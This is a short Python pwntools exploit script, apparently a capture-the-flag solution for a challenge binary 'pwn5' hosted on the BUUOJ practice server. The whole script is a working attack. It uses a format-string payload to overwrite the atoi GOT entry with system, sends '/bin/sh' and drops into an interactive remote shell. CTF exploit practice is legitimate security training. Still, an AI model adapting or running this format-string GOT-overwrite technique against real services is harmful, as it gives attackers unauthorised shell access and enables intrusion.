#!/usr/bin/env python
# coding=utf-8
from pwn import *

#io = process('./pwn5')
io = remote("node3.buuoj.cn", 28131)
elf = ELF('./pwn5')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload = fmtstr_payload(10, {atoi_got: system_plt})

io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.recv()
io.interactive()
